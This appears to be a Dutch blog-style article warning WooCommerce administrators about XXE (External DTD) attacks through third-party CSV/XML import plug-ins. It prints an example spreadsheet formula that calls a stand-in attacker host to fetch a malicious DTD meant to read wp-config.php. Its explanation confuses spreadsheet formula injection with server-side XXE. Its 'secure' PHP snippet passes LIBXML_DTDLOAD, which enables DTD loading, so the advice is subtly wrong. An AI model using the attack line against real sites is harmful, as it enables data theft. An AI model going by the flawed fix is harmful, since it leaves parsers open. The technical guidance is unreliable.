Het importeren van productgegevens via CSV-bestanden is een dagelijkse taak voor veel e-commerce beheerders. WooCommerce beschikt over een robuuste ingebouwde CSV-importeur. Echter, als u gebruikmaakt van extensies van derden die ook XML- of CSV-bestanden verwerken en deze bestanden niet correct saneren, ontstaat er een risico op een specifieke variant van XML-injectie: External DTD (Document Type Definition) exploits.

Hoe een External DTD exploit werkt

Hoewel een CSV-bestand in de basis een puur tekstbestand is, kunnen geavanceerde import-plug-ins op de achtergrond gebruikmaken van XML-parsers om specifieke datastructuren te verwerken, of ze kunnen kwetsbaar zijn voor formule-injecties die op hun beurt externe bronnen aanroepen.

Als een aanvaller een productbeschrijving injecteert met een kwaadaardige formule die probeert een extern XML-bestand te laden via een spreadsheet-koppeling, kan de server bij het verwerken van de export kwetsbaar worden voor een XML External Entity (XXE) aanval.

Plaintext
 
=WEBSERVICE("http://kwaadaardigesite.com/malicious.dtd")

Wanneer de server dit bestand opent of verwerkt, kan de parser worden gedwongen om verbinding te maken met de externe server van de hacker om een DTD-bestand op te halen. Dit bestand kan vervolgens instructies bevatten om lokale systeembestanden (zoals wp-config.php) uit te lezen en de inhoud via een HTTP-verzoek terug te sturen naar de hacker.

Hoe ontwikkelaars CSV/XML imports beveiligen

Ontwikkelaars moeten ervoor zorgen dat bij het verwerken van bestanden alle vormen van externe entiteits- en DTD-transfers expliciet zijn uitgeschakeld binnen de PHP-configuratie.

PHP
 
// Schakel het laden de externe entiteiten uit bij XML-verwerking
if (function_exists('libxml_disable_entity_loader')) {
    libxml_disable_entity_loader(true);
}

// Gebruik veilige parameters bij het laden van XML-strings
$dom = new DOMDocument();
$dom->loadXML($xml_data, LIBXML_NONET | LIBXML_DTDLOAD);

Het gebruik de LIBXML_NONET zorgt ervoor dat de server onder geen beding netwerkverbindingen mag opzetten tijdens het parsen van het bestand.

Advies voor site-beheerders

  • Vertrouw alleen de core-importeur: Gebruik voor het bijwerken van uw WooCommerce-voorraad bij voorkeur de ingebouwde product-importeur van WooCommerce zelf. Deze is door de core-ontwikkelaars uitgebreid geaudit en beveiligd tegen dit soort geavanceerde parser-exploits.